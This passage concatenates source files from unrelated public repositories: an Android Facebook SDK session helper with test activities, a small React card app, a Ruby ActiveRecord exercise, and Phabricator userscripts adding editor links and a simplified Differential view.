public Task<Session> then(Task<Response> responseTask) throws Exception {
return openSession(Session.getActiveSession());
}
}).onSuccessTask(new Continuation<Session, Task<Session>>() {
@Override
public Task<Session> then(Task<Session> task) throws Exception {
return requestForPublish(task.getResult(), true, newPermissions);
}
}).onSuccessTask(new Continuation<Session, Task<Response>>() {
@Override
public Task<Response> then(Task<Session> task) throws Exception {
return makeRequest(task.getResult(), request);
}
}).onSuccess(new Success<Response>() {
@Override
public void success(final Task<Response> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCompleted(task.getResult());
}
});
}
}).continueWith(new Failed<Void>() {
@Override
public void fault(Task<Void> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCancelled();
}
});
}
});
}
@Override
public void requestMe(@NonNull final WorksFacebook.ResponseCallback callback) {
checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() {
@Override
public Task<Session> then(Task<Response> responseTask) throws Exception {
return openSession(null);
}
}).onSuccessTask(new Continuation<Session, Task<Response>>() {
@Override
public Task<Response> then(Task<Session> task) throws Exception {
return makeRequest(task.getResult(), Request.newMeRequest(null, null));
}
}).onSuccess(new Success<Response>() {
@Override
public void success(final Task<Response> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCompleted(task.getResult());
}
});
}
}).continueWith(new Failed<Void>() {
@Override
public void fault(Task<Void> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCancelled();
}
});
}
});
}
@Override
public void close() {
getSession().closeAndClearTokenInformation();
}
private Task<Response> checkSession() {
return Task.callInBackground(new Callable<Response>() {
@Override
public Response call() throws Exception {
Session session = getSession();
if (session != null && session.isOpened()) {
Response response = new Request(session, "/me?fields=id").executeAndWait();
FacebookRequestError error = response.getError();
if (error != null) {
FacebookErrorCode code = FacebookErrorCode.get(error.getErrorCode());
if (code == FacebookErrorCode.INVALID_SESSION_FACEBOOK_ERROR_CODE) {
// session invalidated here
return null;
}
}
return response;
}
return null;
}
});
}
private Task<Session> openSession(Session session) {
checkActivity();
final Task<Session>.TaskCompletionSource source = Task.<Session>create();
if (session == null || session.isClosed()) {
session = new Session(getActivity());
Session.setActiveSession(session);
}
if (session.isOpened()) {
source.trySetResult(session);
} else {
Session.OpenRequest request = new Session.OpenRequest(FacebookPluginFragment.this);
request.setPermissions("email");
request.setRequestCode(REQUEST_CODE);
request.setLoginBehavior(SessionLoginBehavior.SUPPRESS_SSO);
request.setCallback(new Session.StatusCallback() {
@Override
public void call(Session session, SessionState state, Exception exception) {
if (state.isClosed()) {
source.trySetError(exception);
} else if (state.isOpened()) {
source.trySetResult(session);
}
}
});
session.openForRead(request);
}
return source.getTask();
}
private Task<Session> requestForPublish(final Session session, final boolean publish, final String... newPermissions) {
checkActivity();
final Task<Session>.TaskCompletionSource source = Task.<Session>create();
List<String> permissions = session.getPermissions();
if (permissions.containsAll(Arrays.asList(newPermissions))) {
source.trySetResult(session);
} else {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
Session.NewPermissionsRequest request = new Session.NewPermissionsRequest(FacebookPluginFragment.this, newPermissions);
request.setRequestCode(REQUEST_CODE);
request.setLoginBehavior(SessionLoginBehavior.SUPPRESS_SSO);
request.setCallback(new Session.StatusCallback() {
@Override
public void call(Session session, SessionState state, Exception exception) {
if (state.isClosed()) {
source.trySetError(exception);
} else if (state.isOpened()) {
source.trySetResult(session);
}
}
});
if (publish) {
session.requestNewPublishPermissions(request);
} else {
session.requestNewReadPermissions(request);
}
}
});
}
return source.getTask();
}
private Task<Response> makeRequest(final Session session, final Request request) {
checkActivity();
return Task.callInBackground(new Callable<Response>() {
@Override
public Response call() throws Exception {
request.setSession(session);
Response response = request.executeAndWait();
FacebookRequestError error = response.getError();
if (error != null) {
FacebookErrorCode code = FacebookErrorCode.get(error.getErrorCode());
if (code == FacebookErrorCode.INVALID_SESSION_FACEBOOK_ERROR_CODE) {
// session invalidated here
throw new IllegalStateException();
}
}
return response;
}
});
}
private void checkActivity() {
if (getActivity() == null) {
throw new IllegalStateException("task cancelled because activity was removed");
}
}
}```
FacebookUtils.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.util.Base64;
import android.util.Log;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/**
* Created by yunarta on 7/9/14.
*/
public class FacebookUtils {
public static void logKeyHash(Context context) {
try {
PackageInfo info = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES);
for (Signature signature : info.signatures) {
MessageDigest md = MessageDigest.getInstance("SHA");
md.update(signature.toByteArray());
Log.d(BuildConfig.MODULE_NAME, Base64.encodeToString(md.digest(), Base64.DEFAULT));
}
} catch (PackageManager.NameNotFoundException e) {
} catch (NoSuchAlgorithmException e) {
}
}
}
```
README.md
```# works facebook #
Helper class for Facebook SDK for Android.
By utilising Fragment that is added as "data" instead of "view", this will allow the Facebook fragment to implements UiLifecycleHelper functionality within.
```
SessionController.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook;
import android.content.Context;
import android.support.annotation.NonNull;
import com.facebook.Session;
/**
* Created by yunarta on 7/9/14.
*/
public class SessionController {
protected static SessionController sInstance;
public static SessionController getInstance(@NonNull Context context) {
if (sInstance == null) {
sInstance = new SessionController(context);
}
return sInstance;
}
protected final Context mContext;
protected SessionController(Context context) {
mContext = context;
}
public Session getSession() {
Session session = Session.getActiveSession();
if (session == null) {
session = Session.openActiveSessionFromCache(mContext);
if (session == null) {
session = new Session(mContext);
}
Session.setActiveSession(session);
}
return session;
}
}
```
FacebookTestActivity.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook.test;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentTransaction;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.facebook.HttpMethod;
import com.facebook.Request;
import com.facebook.Response;
import com.facebook.Session;
import com.mobilesolutionworks.android.facebook.FacebookPluginFragment;
import com.mobilesolutionworks.android.facebook.WorksFacebook;
/**
* Created by yunarta on 7/9/14.
*/
public class FacebookTestActivity extends FragmentActivity implements View.OnClickListener {
WorksFacebook mFacebook;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_facebook_test);
findViewById(R.id.btn_open).setOnClickListener(this);
findViewById(R.id.btn_validate).setOnClickListener(this);
findViewById(R.id.btn_close).setOnClickListener(this);
findViewById(R.id.btn_request1).setOnClickListener(this);
findViewById(R.id.btn_request2).setOnClickListener(this);
findViewById(R.id.btn_request3).setOnClickListener(this);
Session.openActiveSessionFromCache(this);
if (savedInstanceState == null) {
FacebookPluginFragment fragment = new FacebookPluginFragment();
mFacebook = fragment;
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
ft.add(fragment, "facebook").commit();
} else {
mFacebook = (WorksFacebook) getSupportFragmentManager().findFragmentByTag("facebook");
}
mFacebook.validate(new StatusCallback());
}
@Override
public void onClick(View view) {
switch (view.getId()) {
case R.id.btn_open: {
mFacebook.open(new StatusCallback());
break;
}
case R.id.btn_validate: {
mFacebook.validate(new StatusCallback());
break;
}
case R.id.btn_close: {
mFacebook.close();
break;
}
case R.id.btn_request1: {
Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.POST, null);
mFacebook.publishRequest(request, new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show();
}
}, "publish_actions");
break;
}
case R.id.btn_request2: {
Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.GET, null);
mFacebook.readRequest(request, new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show();
}
});
break;
}
case R.id.btn_request3: {
mFacebook.requestMe(new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(FacebookTestActivity.this, "test response = " + response, Toast.LENGTH_SHORT).show();
}
});
break;
}
}
}
private class StatusCallback implements WorksFacebook.Callback {
@Override
public void onCancelled() {
TextView textView = (TextView) findViewById(R.id.status);
textView.setText("Facebook Disonnected");
}
@Override
public void onSessionOpened(Session session) {
TextView textView = (TextView) findViewById(R.id.status);
if (session != null) {
textView.setText(session.isOpened() ? "Facebook Connected" : "Facebook Disconnected");
} else {
textView.setText("Facebook Disconnected");
}
}
}
}
```
FacebookErrorCode.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook;
import java.util.HashMap;
import java.util.Map;
/**
* Created by yunarta on 7/9/14.
*/
public enum FacebookErrorCode {
INVALID_SESSION_FACEBOOK_ERROR_CODE(190),
// error
API_SESSION_EXPIRED(102),
API_UNKNOWN(1),
API_SERVICE(2),
API_TOO_MANY_CALLS(4),
API_USER_TOO_MANY_CALLS(17),
API_PERMISSION_DENIED(10),
APPLICATION_LIMIT_REACHED(341),
DUPLICATE_POST(506),
ERROR_POSTING_LINK(1609005),
// sub error
APP_NOT_INSTALLED(458),
USER_CHECKPOINTED(459),
PASSWORD_CHANGED(460),
EXPIRED(463),
UNCONFIRMED_USER(464),
INVALID_ACCESS_TOKEN(467),
UNKNOWN(0xffff);
public final int code;
FacebookErrorCode(int code) {
this.code = code;
}
public static FacebookErrorCode get(int code) {
FacebookErrorCode errorCode = sMap.get(code);
return errorCode == null ? UNKNOWN : errorCode;
}
static Map<Integer, FacebookErrorCode> sMap;
static {
sMap = new HashMap<Integer, FacebookErrorCode>();
for (FacebookErrorCode codes : FacebookErrorCode.values()) {
sMap.put(codes.code, codes);
}
}
}
```
WorksFacebook.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook;
import android.support.annotation.NonNull;
import com.facebook.Request;
import com.facebook.Response;
import com.facebook.Session;
import com.facebook.widget.FacebookDialog;
/**
* Created by yunarta on 7/9/14.
*/
public interface WorksFacebook {
int FACEBOOK_DIALOG_REQUEST_MASK = 0xe000;
void trackPendingDialogCall(FacebookDialog.PendingCall pendingCall, FacebookDialog.Callback callback);
interface Callback {
void onCancelled();
void onSessionOpened(Session result);
}
interface ResponseCallback {
void onCancelled();
void onCompleted(Response response);
}
void open(@NonNull WorksFacebook.Callback callback);
void validate(@NonNull WorksFacebook.Callback callback);
void requestMe(@NonNull WorksFacebook.ResponseCallback callback);
void readRequest(Request request, @NonNull WorksFacebook.ResponseCallback callback, String... newPermissions);
void publishRequest(Request request, @NonNull WorksFacebook.ResponseCallback callback, String... newPermissions);
void close();
}
```
FacebookChildFragmentTestActivity.java
```package com.mobilesolutionworks.android.facebook.test;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentTransaction;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import android.widget.Toast;
import com.facebook.HttpMethod;
import com.facebook.Request;
import com.facebook.Response;
import com.facebook.Session;
import com.mobilesolutionworks.android.facebook.FacebookPluginFragment;
import com.mobilesolutionworks.android.facebook.WorksFacebook;
import java.util.HashMap;
import java.util.Map;
/**
* Created by yunarta on 7/9/14.
*/
public class FacebookChildFragmentTestActivity extends FragmentActivity {
protected Map<Integer, FragmentTrackInfo> mTrackInfoMap;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_fragment);
mTrackInfoMap = new HashMap<Integer, FragmentTrackInfo>();
if (savedInstanceState == null) {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
ft.replace(R.id.fragment_container, new TestFragment()).commit();
}
}
public static class TestFragment extends Fragment implements View.OnClickListener {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
FragmentTransaction ft = getChildFragmentManager().beginTransaction();
ft.add(new FacebookPluginFragment(), "facebook").commit();
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_main, null);
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
view.findViewById(R.id.btn_start).setOnClickListener(this);
}
@Override
public void onClick(View v) {
FragmentTransaction ft = getChildFragmentManager().beginTransaction();
ft.replace(R.id.fragment_container, new FacebookFragment()).commit();
}
}
public static class FacebookFragment extends Fragment implements View.OnClickListener {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Session.openActiveSessionFromCache(getActivity());
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
return inflater.inflate(R.layout.activity_facebook_test, null);
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
view.findViewById(R.id.btn_open).setOnClickListener(this);
view.findViewById(R.id.btn_validate).setOnClickListener(this);
view.findViewById(R.id.btn_close).setOnClickListener(this);
view.findViewById(R.id.btn_request1).setOnClickListener(this);
view.findViewById(R.id.btn_request2).setOnClickListener(this);
view.findViewById(R.id.btn_request3).setOnClickListener(this);
}
@Override
public void onStart() {
super.onStart();
WorksFacebook facebook = (WorksFacebook) getFragmentManager().findFragmentByTag("facebook");
facebook.validate(new StatusCallback());
}
@Override
public void onClick(View view) {
WorksFacebook facebook = (WorksFacebook) getFragmentManager().findFragmentByTag("facebook");
switch (view.getId()) {
case R.id.btn_open: {
facebook.open(new StatusCallback());
break;
}
case R.id.btn_validate: {
facebook.validate(new StatusCallback());
break;
}
case R.id.btn_close: {
facebook.close();
break;
}
case R.id.btn_request1: {
Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.POST, null);
facebook.publishRequest(request, new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show();
}
}, "publish_actions");
break;
}
case R.id.btn_request2: {
Request request = new Request(null, "/804889722866833/likes", null, HttpMethod.GET, null);
facebook.readRequest(request, new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show();
}
});
break;
}
case R.id.btn_request3: {
facebook.requestMe(new WorksFacebook.ResponseCallback() {
@Override
public void onCancelled() {
}
@Override
public void onCompleted(Response response) {
Toast.makeText(getActivity(), "test response = " + response, Toast.LENGTH_SHORT).show();
}
});
break;
}
}
}
private class StatusCallback implements WorksFacebook.Callback {
@Override
public void onCancelled() {
TextView textView = (TextView) getView().findViewById(R.id.status);
textView.setText("Facebook Disonnected");
}
@Override
public void onSessionOpened(Session session) {
TextView textView = (TextView) getView().findViewById(R.id.status);
if (session != null) {
textView.setText(session.isOpened() ? "Facebook Connected" : "Facebook Disconnected");
} else {
textView.setText("Facebook Disconnected");
}
}
}
}
/**
* Called by Fragment.startActivityForResult() to implement its behavior.
*/
public void startActivityFromFragment(Fragment fragment, Intent intent, int requestCode)
{
// if (fragment instanceof WaitingForResult)
{
FragmentManager fm = fragment.getFragmentManager();
int id = fm.getFragments().indexOf(fragment);
FragmentTrackInfo info = new FragmentTrackInfo(id);
Fragment parent = fragment;
while ((parent = parent.getParentFragment()) != null)
{
fm = parent.getFragmentManager();
id = fm.getFragments().indexOf(parent);
info = new FragmentTrackInfo(id, info);
}
mTrackInfoMap.put(requestCode, info);
}
super.startActivityForResult(intent, requestCode);
}
/**
* Dispatch incoming result to the correct fragment.
*/
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data)
{
FragmentTrackInfo trackInfo = mTrackInfoMap.remove(requestCode & 0xffff);
if (trackInfo != null)
{
FragmentManager fm = getSupportFragmentManager();
Fragment fragment = fm.getFragments().get(trackInfo.mId);
if (trackInfo.mChild != null)
{
FragmentTrackInfo childInfo = trackInfo;
Fragment child = fragment;
while ((childInfo = childInfo.mChild) != null) {
fm = child.getChildFragmentManager();
child = fm.getFragments().get(childInfo.mId);
}
fragment = child;
}
fragment.onActivityResult(requestCode, resultCode, data);
}
else
{
super.onActivityResult(requestCode, resultCode, data);
}
}
public class FragmentTrackInfo
{
public FragmentTrackInfo mChild;
public int mId;
public FragmentTrackInfo(int id)
{
mId = id;
}
public FragmentTrackInfo(int id, FragmentTrackInfo info)
{
mId = id;
mChild = info;
}
public int getId()
{
int requestId = 0;
if (mChild != null)
{
requestId |= mChild.getId() << 8;
}
requestId |= mId;
return requestId;
}
}
interface WaitingForResult {
}
}
```
|
yungest/Robofriends
|
yungest/Robofriends
Card.js
```
import React from 'react'
const Card = ({name,email,id}) => {
return(
<div className="ma3 dib bg-light-green grow">
<img src={`https://robohash.org/${id}`} alt="robotsCard" />
<div className="tc">
<h1> {name} </h1>
<p>{email}</p>
</div>
</div>
);
}
export default Card;
```
App.js
```import React from 'react';
import CardList from './CardList';
import {robots} from './robots'
function App(){
return(
<div className="tc ma3">
<div className="pa2">
<h1>Robofriends</h1>
<input className="pa3" type="text" placeholder="Search" />
</div>
<CardList robots={robots} />
</div>
)
}
export default App;```
|
yunglleung1/activerecord-tvland-nyc-web-062518
|
yunglleung1/activerecord-tvland-nyc-web-062518
runner.rb
```require './config/environment'
actor1 = Actor.new(id: 1, first_name: "Joe", last_name: "Smith")
actor2 = Actor.new(id: 2, first_name: "Jane", last_name: "Flowers")
network1 = Network.new(id: 1, call_letters: "WB", channel: 11)
show1 = Show.new(name: "Robocop", genre: "Action", day: "July 17, 1987", season: "Summer", call_letters: "RC", network_id: 1)
character1 = Character.new(name: "Robocop", catchphrase: "Stop. Don't move!")
character2 = Character.new(name: "Officer Anne", catchphrase: "You are not a robot!")
binding.pry
```
show.rb
```class Show < ActiveRecord::Base
belongs_to :network #1:1
has_many :characters #has many characters in an array
def build_network(hash)
new_network = Network.create(hash)
self.network = new_network
end
end
```
actor.rb
```class Actor < ActiveRecord::Base
has_many :characters
has_many :shows, through: :characters
def full_name #returns the first and last name of an actor (needs refactoring)
Actor.all[0].first_name + " " + Actor.all[0].last_name
end
def list_roles #lists all of the characters that actor has (needs refactoring)
Character.all[0].name + " - " + Show.all[0].name
end
end
```
character.rb
```#Join Between Show & Actor
class Character < ActiveRecord::Base
# attr_reader :catchphrase, :show
belongs_to :show
belongs_to :actor
def say_that_thing_you_say #using a given character's catchphrase.
"#{self.name} always says: #{self.catchphrase}"
end
def build_show(hash)
new_show = Show.create(hash)
self.show = new_show
end
end
```
|
yungsters/phabricator-scripts
|
yungsters/phabricator-scripts
sublime-text-edit-links.user.js
```// ==UserScript==
// @name Phabricator: Sublime Text Edit Links
// @version 1.1.7
// @description Adds "Edit" links (to Sublime Text) next to file paths.
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
// Configuration...
var localPath = '/Volumes/dev/www/';
function inject(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')();';
document.body.appendChild(script);
}
function $A(obj) { return Array.prototype.slice.call(obj); }
function gc(el, className) { return $A(el.getElementsByClassName(className)); }
function gt(el, tagName) { return $A(el.getElementsByTagName(tagName)); }
function $S(inline_styles) {
var style = document.createElement('style');
style.innerHTML = inline_styles;
document.body.appendChild(style);
}
$S(
'div.buoyant {' +
'font-size: 14px;' +
'}' +
'div.buoyant a {' +
'color: #fff;' +
'}'
);
function cleanPath(path) {
var parts = path.split('www/');
if (parts.length > 1) {
return parts.splice(1).join('www/');
} else {
return parts[0];
}
}
var baseURL = 'subl://open/?url=file://';
function getLink(path, line) {
var link = baseURL + localPath + cleanPath(path);
if (line) {
link += '&line=' + line;
}
return link;
}
function createEditLink(path, wrap) {
var link = document.createElement('a');
link.setAttribute('data-sigil', 'prevent');
link.href = getLink.apply(null, path.split(':'));
link.innerHTML = 'Edit';
link.style.padding = '0 0.25em';
if (wrap) {
var span = document.createElement('span');
span.innerHTML = ' · ';
span.appendChild(link);
link = span;
}
return link;
}
// Differential: Inline Comments
gc(document, 'differential-inline-summary').forEach(function(table) {
gt(table, 'th').forEach(function(th) {
th.appendChild(createEditLink(th.innerHTML, true));
});
});
// Differential: Table of Contents
gc(document, 'differential-toc').forEach(function(toc) {
gc(toc, 'differential-toc-file').forEach(function(td) {
gt(td, 'a').forEach(function(a) {
td.appendChild(createEditLink(a.innerHTML, true));
});
});
});
// Differential: Changesets
gc(document, 'differential-changeset').forEach(function(changeset) {
gt(changeset, 'h1').forEach(function(h1) {
h1.appendChild(createEditLink(h1.textContent, true));
});
});
// Diffusion: File Table View
gc(document, 'aphront-table-view').forEach(function(table) {
var trs = gt(table, 'tr');
if (trs[0] && gt(trs[0], 'th')[0].innerHTML === 'ID') {
return;
}
trs.forEach(function(tr, i) {
if (i) {
var tds = gt(tr, 'td');
var td = document.createElement('td');
var a = gt(tds[3], 'a')[0];
if (a) {
td.appendChild(createEditLink(a.innerHTML));
tr.insertBefore(td, tds[3]);
}
} else {
var ths = gt(tr, 'th');
var th = document.createElement('th');
th.innerHTML = 'T.M.';
if (ths[3].innerHTML.trim() === 'Path') {
tr.insertBefore(th, ths[3]);
}
}
});
});
// Differential: Sticky Headers
document.addEventListener('scroll', function() {
var header = gc(document, 'buoyant')[0];
if (header && header.childNodes.length < 2) {
header.appendChild(createEditLink(header.innerHTML, true));
}
}, false);
inject(function() {
JX.Stratcom.listen('click', 'prevent', function(event) {
event.stop();
});
});
```
README.md
```phabricator-scripts
===================
User scripts for use with Phabricator.```
simple-differential.user.js
```// ==UserScript==
// @name Phabricator: Simple Differential
// @version 0.2.1
// @description Makes Differential... simpler.
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
function injectJS(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')(window);';
document.body.appendChild(script);
}
function injectStyles(styles) {
var style = document.createElement('style');
style.innerHTML = styles;
document.body.appendChild(style);
}
// Courtesy of BootstrapCDN.
// injectCSS('//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css');
var spriteURL = '//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/img/glyphicons-halflings.png';
injectStyles(
'.glyph {' +
'display: inline-block;' +
'width: 14px;' +
'height: 14px;' +
'*margin-right: .3em;' +
'line-height: 14px;' +
'vertical-align: text-top;' +
'background-image: url("' + spriteURL + '");' +
'background-position: 14px 14px;' +
'background-repeat: no-repeat;' +
'margin-top: 1px;' +
'}' +
'.glyph.glyph-list-alt {' +
'background-position: -264px -24px;' +
'}' +
'.glyph.glyph-user {' +
'background-position: -168px 0;' +
'}' +
'.glyph.glyph-gray {' +
'opacity: 0.5;' +
'}'
);
injectStyles(
'.phui-object-item-name .phui-object-item-byline {' +
'color: #777;' +
'display: inline;' +
'font-weight: normal;' +
'}' +
'.phui-has-tooltip {' +
'cursor: default;' +
'}' +
'.phui-simple-item .phui-object-icon-pane {' +
'width: auto;' +
'}' +
'.phui-simple-item.phui-object-item.phui-object-item {' +
'margin-bottom: -1px;' +
'}' +
'.phui-simple-item.phui-object-item .phui-object-item-frame {' +
'min-height: 29px;' +
'}' +
'.phui-simple-item:last-child {' +
'margin-bottom: 3px;' +
'}' +
'.phui-simple-item:last-child .phui-object-item-frame {' +
'margin-bottom: 0;' +
'}' +
'.phui-object-item-icon-label .glyph {' +
'margin-top: -1px;' +
'vertical-align: text-top;' +
'}' +
'.inline-land-button.inline-land-button a {' +
'margin-top: -3px;' +
'margin-right: 6px;' +
'line-height: 21px;' +
'}'
);
injectJS(function(global) {
/* UTILITIES */
function $(selector, start) {
return (start || document).querySelector(selector);
}
function $$(selector, start) {
return JX.$A((start || document).querySelectorAll(selector));
}
function setNodeTooltip(node, tooltip, alignment) {
JX.Stratcom.addSigil(node, 'has-tooltip');
JX.Stratcom.addData(node, {
align: alignment || 'W',
size: 300,
tip: tooltip
});
JX.DOM.alterClass(node, 'phui-has-tooltip', true);
}
/* INIT */
// Use `#complex` to disable these changes.
if (global.location.hash === '#complex') {
return;
}
var statusToColor = {
'Abandoned': '#222',
'Accepted': '#096',
'Closed': '#069',
'Needs Revision': '#a00'
};
$$('.phui-object-item').forEach(function(itemNode) {
var attributeList = $$('.phui-object-item-attribute', itemNode);
var bylineNode = $('.phui-object-item-byline', itemNode);
var bylinesNode = $('.phui-object-item-bylines', itemNode);
var contentNode = $('.phui-object-item-content', itemNode);
var nameNode = $('.phui-object-item-name', itemNode);
var objNameNode = $('.phui-object-item-objname', itemNode);
var iconLabelNode = $('.phui-object-item-icon-label', itemNode);
JX.DOM.alterClass(itemNode, 'phui-simple-item', true);
if (bylinesNode) {
bylinesNode.parentNode.removeChild(bylinesNode);
}
if (bylineNode && nameNode) {
bylineNode.firstChild.textContent = ' by ';
nameNode.appendChild(bylineNode);
}
var attributeListIndex = 0;
// Filter out the "Project" attribute.
attributeList = attributeList.filter(function(attributeNode) {
var maybeProject = attributeNode.lastChild;
if (maybeProject &&
maybeProject.nodeType === Node.TEXT_NODE) {
return !maybeProject.textContent.match(/^Project: /);
}
return true;
});
// Filter out the "Land Button" attribute.
var landButton = null;
attributeList = attributeList.filter(function(attributeNode) {
var maybeLandButton = attributeNode.lastChild;
if (maybeLandButton &&
maybeLandButton.nodeName === 'SPAN' &&
maybeLandButton.className.match(/^land-button-/)) {
landButton = maybeLandButton;
return false;
}
return true;
});
if (landButton) {
JX.DOM.alterClass(landButton, 'inline-land-button', true);
JX.DOM.prependContent(nameNode, landButton);
}
var pendingCommentNode = attributeList[attributeListIndex];
var pendingCommentIconNode = $('.icons-file-grey', pendingCommentNode);
if (pendingCommentIconNode) {
attributeListIndex++;
}
var itemStatus = 'Unknown';
var itemStatusNode = attributeList[attributeListIndex];
if (itemStatusNode) {
// Sometimes the status node might have a spacer in it.
var maybeItemStatus = itemStatusNode.lastChild;
if (maybeItemStatus &&
maybeItemStatus.nodeType === Node.TEXT_NODE) {
itemStatus = maybeItemStatus.textContent;
var statusColor = statusToColor[itemStatus];
if (statusColor) {
itemNode.style.borderColor = statusColor;
}
attributeListIndex++;
}
}
setNodeTooltip(objNameNode, itemStatus);
var reviewerNames = [];
var reviewersNode = attributeList[attributeListIndex++];
if (reviewersNode) {
reviewerNames = $$('.phui-link-person', reviewersNode)
.map(function(reviewerNode) {
return reviewerNode.textContent;
});
}
var loc = '?';
var locAttributeNode = attributeList[attributeListIndex++];
if (locAttributeNode) {
var locMatch = locAttributeNode.textContent.match(/[0-9,]+/);
if (locMatch) {
loc = locMatch[0];
}
}
if (iconLabelNode) {
var labelSpacerNode = JX.$N(
'span',
{className: 'phui-object-item-icon-label'},
JX.$H(' · ')
);
var reviewerNode = JX.$N('span', ' ' + reviewerNames.length);
JX.DOM.prependContent(
reviewerNode,
JX.$N('span', {
className: 'glyph glyph-gray glyph-user'
})
);
setNodeTooltip(reviewerNode, reviewerNames.join(', '));
var locNode = JX.$N('span', ' ' + loc);
JX.DOM.prependContent(
locNode,
JX.$N('span', {
className: 'glyph glyph-gray glyph-list-alt'
})
);
[ pendingCommentIconNode,
reviewerNode,
locNode
].forEach(function(node) {
if (!node) {
return;
}
// This class gets hidden on narrow viewports.
JX.DOM.alterClass(node, 'phui-object-item-icon-label', true);
iconLabelNode.parentNode.insertBefore(node, iconLabelNode);
iconLabelNode.parentNode.insertBefore(
labelSpacerNode.cloneNode(true),
iconLabelNode
);
});
}
if (contentNode) {
